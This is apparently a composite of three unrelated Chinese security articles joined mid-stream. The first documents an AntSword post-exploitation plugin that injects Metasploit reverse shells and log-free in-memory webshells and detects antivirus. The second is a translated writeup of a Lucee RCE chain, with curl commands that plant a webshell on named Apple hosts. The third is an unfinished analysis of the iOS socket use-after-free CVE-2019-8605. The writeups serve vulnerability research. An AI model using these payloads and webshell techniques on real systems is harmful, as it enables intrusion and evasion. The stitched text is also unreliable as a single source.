画一个表单。其余发包，回显处理等事情框架会自动帮你实现。想要自定义的话只需要继承父类然后重写对应方法即可。
因为http是无状态的，webshell能做的事情其实很有限，所以插件功能的重点主要放在msf，nmap等其他工具的联动上面，把专业的事情交给专业的工具去做。
## 总体设计
一个模块在初始化之后的流程大概是这样
当exploit事件发生时，会调用getArgs跟genPayload函数来组合成最后的payload，默认将回显数据发送到编辑框里。
## 模块介绍
简单的塞一些模块，没错我就是缝合怪。
### 基本信息
获取当前服务端信息。
### 反弹Shell
跟MSF联动，与冰蝎和哥斯拉相比新增了bind类型的payload。
目前支持以下类型：
* java/meterpreter/reverse_tcp
* java/shell/reverse_tcp
* java/meterpreter/bind_tcp
* java/shell/bind_tcp
* php/meterpreter/reverse_tcp
* php/shell/reverse_tcp
* php/meterpreter/bind_tcp
* php/shell/bind_tcp
### 内存马
一键打入内存Webshell。由于时间仓促，目前仅支持Servlet型内存马。核心payload修改自哥斯拉，继承了nolog的功能，即内存马不会在tomcat中留下日志。
可打入的内存马种类：
* AntSword
* Behinder
* Godzilla-Base64
* reGerog 其中组件名称为注册的Servlet的名称，可以起一个具有迷惑性的名字来隐藏自己。
### 内存马管理
* 获取当前Servlet
* 卸载指定Servlet
### 杀软识别
> 数据来源是key师傅的项目：[avList](https://github.com/gh0stkey/avList)
通过`tasklist /svc`获取当前进程列表，识别出其中的杀软。
目前支持手动跟自动两种获取方式：
* 自动获取 自动执行系统命令`tasklist /svc`并分析回显数据。
* 手动获取 手动输入`tasklist /svc`的结果。
## 如何用node修改java字节码
在本插件中所有额外参数都采用了直接修改字节码，而没有采用额外参数的方式来传参。蚁剑没有java环境，那么是如何做到用node修改字节码的呢？详细的例子可以看我博客这篇文章：[无java环境修改字节码](https://yzddmr6.tk/posts/node-edit-java-class/)
其实我们的需求无非只是修改变量池中的一个字符串，并不需要asm框架那么强大的功能。java字节码常量池中共有14种类型，如下表格所示：
> 注意上面的表格的单位是错的，应该是byte不是bit
我们关注的应该是CONSTANT_utf8_info跟CONSTANT_String_info。如果变量是第一次被定义的时候是用CONSTANT_utf8_info标志，第二次使用的时候就变成了CONSTANT_String_info，即只需要tag跟面向字符串的索引。
也就是说关键的结构就是这个
其实跟PHP的序列化很相似，首先来个标志位表示变量的类型，然后是变量的长度，最后是变量的内容。
既然知道了其结构，那么修改的办法也就呼之欲出。除了修改变量的hex，只需要再把前面的变量长度给改一下就可以了。
把yan表哥的代码抽出来修改一下，yan表哥yyds。
function replaceClassStringVar(b64code, oldvar, newvar) {
let code = Buffer.from(b64code, 'base64');//解码
let hexcode = code.toString('hex');//转为16进制
let hexoldvar = Buffer.from(oldvar).toString('hex');//转为16进制
let oldpos = hexcode.indexOf(hexoldvar);
if (oldpos > -1) {//判断字节码中是否包含目标字符串
let newlength = decimalToHex(newvar.length, 4);//计算新字符串长度
let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(newvar).toString('hex')}${hexcode.slice(oldpos + hexoldvar.length)}`;//把原来字节码的前后部分截出来，中间拼上新的长度跟内容
return Buffer.from(retcode, 'hex').toString('base64');//base64编码
}
return b64code;
}
function decimalToHex(d, padding) {
var hex = Number(d).toString(16);
padding = typeof (padding) === "undefined" || padding === null ? padding = 2 : padding;
while (hex.length < padding) {
hex = "0" + hex;//小于padding长度就填充0
}
return hex;
}
content=`xxxxxxxxxxxxx`//要替换的字节码
content=replaceClassStringVar(content,'targetIP','192.168.88.129')
content=replaceClassStringVar(content,'targetPORT','9999')
console.log(content)
## 编写模块
### 父类Base
Base是所有模块的基类，放了一些默认的方法。
顺着代码来说吧。
"use strict";
const LANG = require("../language"); // 插件语言库
const LANG_T = antSword["language"]["toastr"]; // 通用通知提示
const path = require("path");
class Base {
constructor(top) {//获取顶层对象
this.top = top;
this.opt = this.top.opt;
this.shelltype = this.top.opt.type;
this.win = this.top.win;
this.payloadtype="default";
this.precheck();
}
precheck() { //检查模块是否适用于当前shell类型
return true;
}
//获取payload模板
getTemplate(shelltype, payloadtype) { //从当前目录下payload.js中获取payload
let payload = require(path.join(__dirname, this.name, "payload"));
return payload[shelltype][payloadtype];
}
//拼接参数
genPayload(args) { //从模板中拼接参数
let payload = this.getTemplate(this.shelltype, this.payloadtype);
if (this.shelltype == "jsp") { //如果是jsp类型就用字节码的方式修改
for (let i in args) {
payload = this.replaceClassStringVar(payload, i, args[i]);
}
} else { //否则直接进行字符串替换
for (let i in args) {
payload = payload.replace(new RegExp(i, "g"), args[i]);
}
}
return payload;
}
//获取表单参数
getArgs() { //所有表单参数要形成一个字典
return {};
}
//执行
exploit() { // exploit！
console.log("exploit!");
self.core = this.top.core;
let args = this.getArgs(); //获取参数
let payload = this.genPayload(args); //拼接，生成payload
self.core
.request({
_: payload, //发送payload
})
.then((_ret) => {
let res = antSword.unxss(_ret["text"], false); //过滤xss
if (res === "") {
res = "output is empty.";
}
this.editor.session.setValue(res); //回显内容到输出结果
this.editor.setReadOnly(true);
toastr.success(LANG["success"], LANG_T["success"]);
})
.catch((e) => {
console.log(e);
toastr.error(JSON.stringify(e), "Error");
});
}
setName(name) {
this.name = name; //每个模块实例化之后要有个唯一的名字
}
createLayout(tabbar) { //创建tab，总布局
tabbar.addTab(this.name, LANG["core"][this.name]["title"]);
let tab = tabbar.cells(this.name);
this.tab = tab;
if (this.name == "base_info") { //把基本信息设为首页
tab.setActive();
}
let layout = tab.attachLayout("2E");
this.layout = layout;
let cellA = layout.cells("a");
this.cellA=cellA;
cellA.hideHeader();
let cellB = layout.cells("b");
cellB.setText(LANG["result_title"]);
this.cellB=cellB;
this.createEditor(cellB);
this.createToolbar(cellA);
this.createForm(cellA);
}
createEditor(cell) { //输出结果默认是编辑器的格式，方便复制
this.editor = null;
// 初始化编辑器
this.editor = ace.edit(cell.cell.lastChild);
this.editor.$blockScrolling = Infinity;
this.editor.setTheme("ace/theme/tomorrow");
// this.editor.session.setMode(`ace/mode/html`);
this.editor.session.setUseWrapMode(true);
this.editor.session.setWrapLimitRange(null, null);
this.editor.setOptions({
fontSize: "14px",
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true,
});
// 编辑器快捷键
this.editor.commands.addCommand({
name: "import",
bindKey: {
win: "Ctrl-S",
mac: "Command-S",
},
exec: () => {
// this.toolbar.callEvent("onClick", ["import"]);
},
});
const inter = setInterval(this.editor.resize.bind(this.editor), 200);
this.win.win.attachEvent("onClose", () => {
clearInterval(inter);
return true;
});
}
createForm(cell) {
//edit your code
}
createToolbar(cell) { // 初始化exploit按钮，监听onClick事件
let self = this;
let toolbar = cell.attachToolbar();
toolbar.attachEvent("onClick", function (id) {
try {
self.exploit();
} catch (e) {
toastr.error(JSON.stringify(e), LANG_T['error']);
}
});
toolbar.loadStruct(
'<toolbar><item type="button" id="exploit" text="exploit" title="" /></toolbar>',
function () {}
);
if(this.precheck()==false){ //如果precheck不通过，按钮将变成灰色。
toolbar.disableItem('exploit');
}
this.toolbar=toolbar;
}
replaceClassStringVar(b64code, oldvar, newvar) { //字节码修改函数
let code = Buffer.from(b64code, "base64");
let hexcode = code.toString("hex");
let hexoldvar = Buffer.from(oldvar).toString("hex");
let oldpos = hexcode.indexOf(hexoldvar);
if (oldpos > -1) {
let newlength = this.decimalToHex(newvar.length, 4);
let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(
newvar
).toString("hex")}${hexcode.slice(oldpos + hexoldvar.length)}`;
return Buffer.from(retcode, "hex").toString("base64");
}
// console.log('nonono')
return b64code;
}
decimalToHex(d, padding) {
let hex = Number(d).toString(16);
padding =
typeof padding === "undefined" || padding === null
? (padding = 2)
: padding;
while (hex.length < padding) {
hex = "0" + hex;
}
return hex;
}
safeHTML(cell, html = "", sandbox = "") { //当渲染html时一定要用此函数处理，否则可能会产生rce
let _html = Buffer.from(html).toString("base64");
// https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox
let _iframe = `<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<iframe
sandbox="${sandbox}"
src="data:text/html;base64,${_html}"
style="width:100%;height:100%;border:0;padding:0;margin:0;">
</iframe>
`;
cell.attachHTMLString(_iframe);
return this;
}
}
module.exports = Base;
### 简单的例子
举一个简单的例子，执行系统命令并获取回显。
首先给插件起个炫酷的名字叫test，加入到根目录index.js的Modules里面。
然后在language\zh.js中增加对应的标签名字：测试。
接着新增一个test目录，这里的目录名称要与模块的名称一致，里面放两个文件：index.js跟payload.js。
在index.js中主要写逻辑处理部分，payload.js里面只放payload。
#### payload.js
默认的payload叫default。payload中把参数部分用一个特殊的名字标记出来，叫做 test_command 。
JSP类型同理，放base64格式的字节码。
module.exports={
php:{
default:`system("test_command");`
},
jsp:{
default:``
}
};
#### index.js
因为例子中需要额外的参数，所以要重写父类的createForm函数跟getArgs函数，把表单中获取到的test_command放入args里面。
"use strict";
const Base = require("../base");
class Test extends Base {
createForm(cell) {
var str = [
{
type: "input",
name: "test_command",
label: "执行命令",
labelWidth: 150,
labelAlign:"center",
inputWidth: 200,
},
];
var form = cell.attachForm(str);
this.form = form;
}
getArgs() {
let args = {};
this.payloadtype = "default";
args["test_command"] = this.form.getItemValue("test_command");
return args;
}
}
module.exports = Test;
#### 运行结果
重启蚁剑后再打开插件就可以使用我们的新模块了，是不是很简单？
## 最后
目前payload主要来自冰蝎跟哥斯拉，向前辈们致敬！
框架的优势就在于看到其他同类工具的比较好的功能可以迅速白嫖。这个功能不错，下一秒就是我的了.jpg
项目地址：<https://github.com/yzddmr6/As-Exploits>
* * * | 社区文章 |
# 挖掘0day来入侵Apple
### 入门
在Sam等人发布[infamous blog post](https://samcurry.net/hacking-apple/)文章后,我们开始对apple进行黑客攻击。目标是专注于发现关键的漏洞，例如个人身份信息泄露或者访问Apple的服务器或者内网。这些是我们认为Apple会最感兴趣的bug类型。
### 侦查和指纹
在查看我们的侦察数据并确定可能正在运行的服务时，我们发现了三台主机在由[Lucee](https://github.com/lucee/Lucee/)支持的CMS上运行。
由于CMS和Lucee都可以轻松地在本地托管，因此它们是我们入侵的良好目标。
我们选择关注Lucee，因为它公开了管理面板并具有漏洞历史记录。[Orange
Tsai](https://twitter.com/orange_8361)也曾在[Breaking Parser
Logic](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)
简短地提到过，Lucee是Railo-context的分支。
可以在三台不同的Apple主机上访问Lucee的管理面板。两个正在运行一个过时的版本，另一个正在运行一个相当新的版本。
* <https://facilities.apple.com/（最新版本）>
* <https://booktravel.apple.com/（旧版本）>
* <https://booktravel-uat.apple.com/（旧版本）>
### 苹果的WAF行为
为了利用我们将在下面讨论的漏洞，我们需要了解Apple所使用的WAF，更重要的是要了解Facilities.apple.com上的前端服务器如何与之交互。
Apple的waf非常让人头疼，他通过检测URL(查询参数)来阻止几乎所有路径遍历/SQLI的尝试攻击。
Facilities.apple.com上的前端服务器（反向代理）配置为仅显示来自后端服务器的状态码为200和404的响应。如果您在后端得到其他的状态码，那么前端服务器将返回403,这与触发WAF时候相同。
### Lucee配置错误
在本地测试Lucee时，我们发现了配置错误，这将导致攻击者可以直接访问需要身份验证的CFM
(ColdFusion)文件。这使我们即使完全未经认证,也可以执行许多需要认证的操作。
一旦您在CFM文件中点击了 `request.admintype`变量/属性,
由于我们未通过admin身份认证，执行流程就会被终止。但是，在执行该检查之前的代码是可以正常执行的。因此，我们必须先在点击`request.admintype`找到具有某种错误的文件。
我们使用一下这三个文件在安装Lucee的系统获得完整的预认证/未认证RCE：
* imgProcess.cfm（在较早版本中不可用）
* admin.search.index.cfm
* ext.applications.upload.cfm
## 失败的尝试
### imgProcess.cfm上不错且简单的RCE
为了复制Apple上的安装版本，我们获得了运行相同版本的Lucee的本地副本。不携带任何参数打开`imgProcess.cfm`在我们的安装环境下会回显一个错误。在Apple服务器上打开则会返回403，则意味着这个文件是存在的。我们只需要指定正确的参数/值即可;否则，后端服务器将会抛出一个异常，前端服务器将为此返回403.
参数错误时 -
参数正确时 -
这个文件具有路径遍历漏洞，允许使用我们给定的内容在服务器上的任何位置创建文件。
<cfoutput>
<cffile action="write"
file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#"
Output="#form.imgSrc#"
createPath="true">
</cfoutput>
则需要一个查询参数`file`并将其创建为带有以下行的文件:
`{temp-directory}/admin-ext-thumbnails/__{our-input}`
我们的输入可以被POST参数`imgSrc`来定义。
正如你已经看到的一样,`__`目录必须在进行路径遍历之前存在，因为linux要求在进行目录遍历之前必须存在路径。幸运地是,`expandPath`会创建不存在的路径并将路径以字符串返回。因此，通过`file=/../../../context/pwn.cfm`将会创建`__`目录并遍历webroot中的上下文目录，从而在此给我们一个简易的RCE。
然而即使存在这个bug, **由于WAF拦截查询参数中的`../`,我们不能在Apple这个案例上进行利用。**
该端点指定要求`file`作为查询参数(url.file,而不是`form.imgsrc`)。如果两者都是form或post参数,则不会触发WAF,
**我们仍然可以使用该端点来创建我们在确定的目录中控制的名称和内容的文件，而无需触发WAF**
## 现在怎么办？我们如何避免触发WAF？
### 棘手的copy
`admin.search.index.cfm`允许我们指定目录并将其内容复制到所需位置。但是，
**复制功能非常棘手，实际上不会复制文件内容，也不会保留文件扩展名。**
该端点采用两个参数：
* dataDir
* luceeArchiveZipPath
`dataDir`是您要将文件复制到`luceeArchiveZipPath`参数指定的路径。如果该路径不存在，他将会被创建，我们可以在这里传递绝对路径。
<cfif not directoryExists(dataDir)>
<cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>
请求示例:
GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1
Host: facilities.apple.com
User-Agent: Mozilla/5.0
Connection: close
既然我们知道复制功能不是标准的，那么让我们更深入地研究负责此功能的代码。
我们注意到了这个有趣的CFML标签：
<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />
它列出了 **luceeArchiveZipPath** 目录中的文件。 **filter属性表示仅列出格式为`*.*.cfm`的文件**
该查询的结果最终存储在"qFiles"变量中。
接下来，它遍历每一个文件(文件存储在 **currFile** 变量)，将文件名中出现的'cfm'替换为空白符,并将此更新的文件名存储在
**currAction** 变量中。因此，如果我们有一个文件`test.xyz.cfm`，它将变为`test.xyz`。
<cfset currAction = replace(qFiles.name, '.cfm', '') />
然后，它检查 **dataDir** 目录中是否存在诸如“ test.xyz.en.txt”或“ test.xyz.de.txt”之类的文件名。同样，
**dataDir** 变量是用户控制的。如果此文件不存在，它将用空格替换文件名中的点（'.'），并将其保存到
**pageContents.lng.currAction** 变量中。
<cfif fileExists('#dataDir##currAction#.#lng#.txt')>
<cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') />
<cfelse>
<!--- make sure we will also find this page when searching for the file name--->
<cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " />
</cfif>
稍后，将创建文件test.xyz.\<lang> .txt， **pageContents.lng.currAction** 变量的值将成为其内容。
对于我们来说不幸地是,尽管我们可以通过文件名本身来控制文件的内容，他也会创建.txt文件。但是随着进一步的发展，我们将看到如何利用文件名本身来搞事情；）。
之后，将 **currFile** 的内容存储在 **data** 变量中，过滤出 ** _内容与正则表达式不匹配的文件_**
`[''"##]stText\..+?[''"##]`，然后将它们放入 **finds** 数组中。
<cfset data = fileread(currFile) />
<cfset finds = rematchNoCase('[''"##]stText\..+?[''"##]', data) />
然后，它遍历 **finds** 数组，并检查每个项是否作为键存在。如果没有，它将创建它作为键并将其存储在 **searchresults** 变量中。
<cfloop array="#finds#" index="str">
<cfset str = rereplace(listRest(str, '.'), '.$', '') />
[..snip..]
<cfif structKeyExists(translations.en, str)>
<cfif not structKeyExists(searchresults[str], currAction)>
<cfset searchresults[str][currAction] = 1 />
<cfelse>
<cfset searchresults[str][currAction]++ />
</cfif>
</cfif>
</cfloop>
最后，这些键（即 **searchresults** 变量）以JSON格式存储在 **dataDir** 目录内名为 **“
searchindex.cfm”** 的文件中。
<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />
## 在Facilities.apple.com上执行远程代码
如果您没有弄清楚, 这时我们可以通过`imgProcess.cfm`
和`admin.search.index.cfm`结合来在[https://facilities.apple.com](https://facilities.apple.com/)
有个不错的rce。
我们已经可以控制一个复制文件到( **dataDir** 参数)的目录和可以指定一个目录从（ **luceeArchiveZipPath**
参数）复制文件。
现在，如果可以在服务器某处上创建一个名称为`server.<cffile action=write file=#Url['f']#
output=#Url['content']#>.cfm`,内容则是`"#stText.x.f#"`的文件，则可以通过
**luceeArchiveZipPath** 将其路径 **传递**
给`admin.search.index.cfm`。由于此关键`server.<cffile action=write file=#Url['f']#
output=#Url['content']#>.cfm`不存在，将创建它并将其写入名为 **searchindex.cfm**
的文件中。这意味着我们可以在使用 **dataDir** 参数指定的任何目录中的 **searchindex.cfm**
文件中控制CFML标签（类似于PHP标签），这意味着我们可以使用webroot路径在服务器上执行代码！
我们可以利用 `imgProcess.cfm` 来在目标的文件系统上创建一个`server.<cffile action=write
file=#Url['f']#
output=#Url['content']#>.cfm`文件，其内容与RegExp相匹配`[''"##]stText\..+?[''"##]`。
这种尝试不会触发WAF，因为我部正在这里进行路径穿越。
### 取得shell的步骤
* 创建一个带有`"#stText.x.f#"`(以匹配正则表达式)的内容，名称为`server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm`的文件,我们需要对文件名进行URLencode编码，因为后端(tomcat)不喜欢某些字符。
curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
* 复制文件名以准备执行代码
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
* 编写shell触发代码执行
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
* 访问webshell- [https:](https://facilities.apple.com/lucee/rootxharsh/PoC.cfm) //facilities.apple.com/lucee/rootxharsh/PoC.cfm
## 但是，其他主机呢？
由于`imgProcess.cfm`在较早的版本中不可用，因此我们必须找到其他方法才能在其他两个主机上获得RCE。我们遇到了另一种巧妙的方法;）。
### 未经身份验证的.lex文件上传
`ext.applications.upload.cfm`部分未经身份验证。该代码段非常简单。我们需要传递带有`.lex`
文件名扩展名的form参数`extfile`，否则我们将收到异常。
<cfif not structKeyExists(form, "extfile") or form.extfile eq "">
...
</cfif>
<!--- try to upload (.zip and .re) --->
<cftry>
<cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" />
<cfif cffile.serverfileext neq "lex">
<cfthrow message="Only .lex is allowed as extension!" />
</cfif>
<cfcatch>
...
</cfcatch>
</cftry>
<cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#" />
对于`.lex`后缀，我们可以看这段代码：
<cfif cffile.serverfileext eq "lex">
...
type="#request.adminType#"
...
</cfif>
因为我们没有`request.admintype`设置，所以会导致异常。但是，我们的文件仍在上传之前上传，可以在这里确认：
`.lex`文件其实不过是一种`.lex`后缀的归档或zip文件，这实际上是Lucee的扩展名格式，也是我们允许上传的。另外，由于不检查内容，因此我们可以将其设置为任何内容。
### 利用要点
通过把玩Lucee,我们知道它允许使用协议或schemes,利用zip://,file://等(我们在此利用链中使用)，因此我们可以在文件系统功能受到完全控制的任何地方指定这schemes输入（比如在这种情况下的
**luceeArchiveZipPath** ）。
现在，我们可以利用`ext.applications.upload.cfm`创建`.lex`文件，它是包含一个文件名为`server.<cffile
action=write file=#Url['f']#
output=#Url['content']#>.cfm`和`"#stText.x.f#"`作为内容的ZIP档案。
一旦将ZIP存档保存在文件系统上，就可以使用 **luceeArchiveZipPath** 变量中的 **zip://**
在ZIP存档中查询`*.*.cfm`文件;
### 在其他2台主机上获取Shell
* 创建一个以`server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm`命名且内容`"#stText.x.f#"`的文件，并将其压缩为`payload.lex`。
* 在之前提到过 `ext.applications.upload.cfm`未认证处上传`.lex`文件
`curl -vv -F [email protected]
https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm`
* 在文件系统部署了任意的`.lex`(zip存档)和zip://方案后，我们可以执行一下操作。
`curl
https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex`
* 现在，我们名为`server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm`的文件已作为文本添加到`/<lucee web>/context/exploit/`下面的 **searchindex.cfm** 文件中，我们可以通过以下方式访问它`https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm`
* 向[https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell发出请求将创建我们的webshell](https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell发出请求将创建我们的webshell)
* Webshell : <https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id>
由于存在负载均衡，因此我们不得不使用intruder来找到我们的shell 。
## 结论
Apple迅速解决了该问题，但要求我们在进行其他更改之前不要披露此问题。对于这些问题，Apple给予我们总计50,000美元的奖励。
另一方面，我们和苹果也与Lucee进行了交谈。Lucee团队还通过限制直接访问cfm文件（这是[commit链接）](https://github.com/lucee/Lucee/commit/6208ab7c44c61d26c79e0b0af10382899f57e1ca)来修复该错误。不过，我们仍在等待CVE分配。
强烈要求Apple产品安全团队保持透明并允许披露本文内容！
如果您有任何疑问，请通过[@rootxharsh](https://twitter.com/rootxharsh)＆[@iamnoooob](https://twitter.com/iamnoooob)
ping我们。
感谢您的阅读，祝您度过愉快的一年！
> 本文为翻译文章，原文链接:<https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md> | 社区文章 |
# CVE-2019-8605 FROM UAF TO TFP0
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：wnagzihxa1n | wnagzihxa1n#gmail.com
这篇文章的开始是我看了Ned Williamson的一个漏洞
* <https://bugs.chromium.org/p/project-zero/issues/detail?id=1806>
同时还在PJ0的博客上发了一篇非常非常棒的文章
* <https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>
公告
// https://support.apple.com/en-us/HT210549
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A use after free issue was addressed with improved memory management.
CVE-2019-8605: Ned Williamson working with Google Project Zero
## 1\. 开发层面的Socket
如公告所描述，这是一个存在于Socket中的UAF漏洞
一般搞开发的同学对于Socket更多的是了解到开发层面，比如使用Socket通信，我们从开发层面开始，逐步分析到底层
我们在学习计算机网络的时候，通过逻辑分层将网络分为七层，也叫作七层模型
* <https://en.wikipedia.org/wiki/OSI_model>
后来又出现了更为符合使用习惯的四层模型
* <https://en.wikipedia.org/wiki/Internet_protocol_suite>
函数`socket()`的原型如下，一共有三个参数
int socket(int domain, int type, int protocol);
第一个参数domain：协议族，比如`AF_INET`，`AF_INET6`
第二个参数type：socket类型，比如`SOCK_STREAM`，`SOCK_DGRAM`，`SOCK_RAW`
#define SOCK_STREAM 1 /* stream socket */
#define SOCK_DGRAM 2 /* datagram socket */
#define SOCK_RAW 3 /* raw-protocol interface */
#if !defined(_POSIX_C_SOURCE) || defined(_DARWIN_C_SOURCE)
#define SOCK_RDM 4 /* reliably-delivered message */
#endif /* (!_POSIX_C_SOURCE || _DARWIN_C_SOURCE) */
#define SOCK_SEQPACKET 5 /* sequenced packet stream */
第三个参数protocol：传输协议，比如`IPPROTO_TCP`，`IPPROTO_UDP`
创建一个`Socket`对象的代码如下
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (tcp_sock < 0) {
printf("[-] Can't create socket, error %d (%s)\n", errno, strerror(errno));
return -1;
}
如果要使用它作为服务端，还需要调用函数`bind()`绑定本地端口，然后调用函数`listen()`进行监听，最后在循环体内调用函数`accept()`与客户端建立连接，之后就可以发送数据通信了
关于Socket网络编程有一份文档写的真的很好，墙裂建议阅读
* <https://beej.us/guide/bgnet/html/#socket>
## 2\. 漏洞源码分析
**用户态函数`disconnectx()`**
这个函数很难在搜索网站上搜到相关文档信息，我最后是通过源码阅读来理解这个函数调用在Poc里的作用
__API_AVAILABLE(macosx(10.11), ios(9.0), tvos(9.0), watchos(2.0))
int disconnectx(int, sae_associd_t, sae_connid_t);
448 AUE_NULL ALL { int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }
通过分发，会调用到这个内核态函数，然后调用位置1的函数`disconnectx_nocancel()`
int
disconnectx(struct proc *p, struct disconnectx_args *uap, int *retval)
{
/*
* Due to similiarity with a POSIX interface, define as
* an unofficial cancellation point.
*/
__pthread_testcancel(1);
return (disconnectx_nocancel(p, uap, retval)); // 1
}
位置2的函数`file_socket()`获取结构体变量`so`，最后调用位置3的函数`sodisconnectx()`
static int
disconnectx_nocancel(struct proc *p, struct disconnectx_args *uap, int *retval)
{
#pragma unused(p, retval)
struct socket *so;
int fd = uap->s;
int error;
error = file_socket(fd, &so); // 2
if (error != 0)
return (error);
if (so == NULL) {
error = EBADF;
goto out;
}
error = sodisconnectx(so, uap->aid, uap->cid); // 3
out:
file_drop(fd);
return (error);
}
前后调用函数`socket_lock()`和`socket_unlock()`用了锁防条件竞争，然后调用位置4的函数`sodisconnectxlocked()`
int
sodisconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
int error;
socket_lock(so, 1);
error = sodisconnectxlocked(so, aid, cid); // 4
socket_unlock(so, 1);
return (error);
}
位置5的`*so->so_proto->pr_usrreqs->pru_disconnectx`是一个函数
int
sodisconnectxlocked(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
int error;
/*
* Call the protocol disconnectx handler; let it handle all
* matters related to the connection state of this session.
*/
error = (*so->so_proto->pr_usrreqs->pru_disconnectx)(so, aid, cid); // 5
if (error == 0) {
/*
* The event applies only for the session, not for
* the disconnection of individual subflows.
*/
if (so->so_state & (SS_ISDISCONNECTING|SS_ISDISCONNECTED))
sflt_notify(so, sock_evt_disconnected, NULL);
}
return (error);
}
通过结构体初始化赋值的特征进行搜索，找到对应的实现是函数`tcp_usr_disconnectx()`，该函数的三个参数就是用户态传入的参数，位置6有一个条件判断，我们只需要令第二个参数为`0`即可绕过，绕过判断之后，调用位置7的函数`tcp_usr_disconnect()`
#define SAE_ASSOCID_ANY 0
#define SAE_ASSOCID_ALL ((sae_associd_t)(-1ULL))
#define EINVAL 22 /* Invalid argument */
static int
tcp_usr_disconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
#pragma unused(cid)
if (aid != SAE_ASSOCID_ANY && aid != SAE_ASSOCID_ALL) // 6
return (EINVAL);
return (tcp_usr_disconnect(so)); // 7
}
函数`tcp_usr_disconnect()`有两个宏：`COMMON_START()`和`COMMON_END(PRU_DISCONNECT)`，`COMMON_START()`会执行`tp
= intotcpcb(inp)`对变量`tp`进行赋值，所以业务逻辑上是没有问题的，然后调用位置8的函数`tcp_disconnect()`
static int
tcp_usr_disconnect(struct socket *so)
{
int error = 0;
struct inpcb *inp = sotoinpcb(so);
struct tcpcb *tp;
socket_lock_assert_owned(so);
COMMON_START();
/* In case we got disconnected from the peer */
if (tp == NULL)
goto out;
tp = tcp_disconnect(tp); // 8
COMMON_END(PRU_DISCONNECT);
}
函数`tcp_disconnect()`有一个判断`tp->t_state <
TCPS_ESTABLISHED`，`tp->t_state`是Socket状态，我列举了部分，因为我们只创建了一个结构体变量`socket`，并没有调用函数`bind()`与函数`listen()`，所以状态为`TCPS_CLOSED`，那么这里就应该调用位置9的函数`tcp_close()`
#define TCPS_CLOSED 0 /* closed */
#define TCPS_LISTEN 1 /* listening for connection */
#define TCPS_SYN_SENT 2 /* active, have sent syn */
#define TCPS_SYN_RECEIVED 3 /* have send and received syn */
/* states < TCPS_ESTABLISHED are those where connections not established */
#define TCPS_ESTABLISHED 4 /* established */
static struct tcpcb *
tcp_disconnect(struct tcpcb *tp)
{
struct socket *so = tp->t_inpcb->inp_socket;
if (so->so_rcv.sb_cc != 0 || tp->t_reassqlen != 0)
return tcp_drop(tp, 0);
if (tp->t_state < TCPS_ESTABLISHED)
tp = tcp_close(tp); // 9
else if ((so->so_options & SO_LINGER) && so->so_linger == 0)
tp = tcp_drop(tp, 0);
else {
soisdisconnecting(so);
sbflush(&so->so_rcv);
tp = tcp_usrclosed(tp);
#if MPTCP
/* A reset has been sent but socket exists, do not send FIN */
if ((so->so_flags & SOF_MP_SUBFLOW) &&
(tp) && (tp->t_mpflags & TMPF_RESET))
return (tp);
#endif
if (tp)
(void) tcp_output(tp);
}
return (tp);
}
想要在用户态进行状态判断可以参照如下代码
// https://developer.apple.com/documentation/kernel/tcp_connection_info
int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
struct tcp_connection_info info;
int len = sizeof(info);
getsockopt(tcp_sock, IPPROTO_TCP, TCP_CONNECTION_INFO, &info, (socklen_t *)&len);
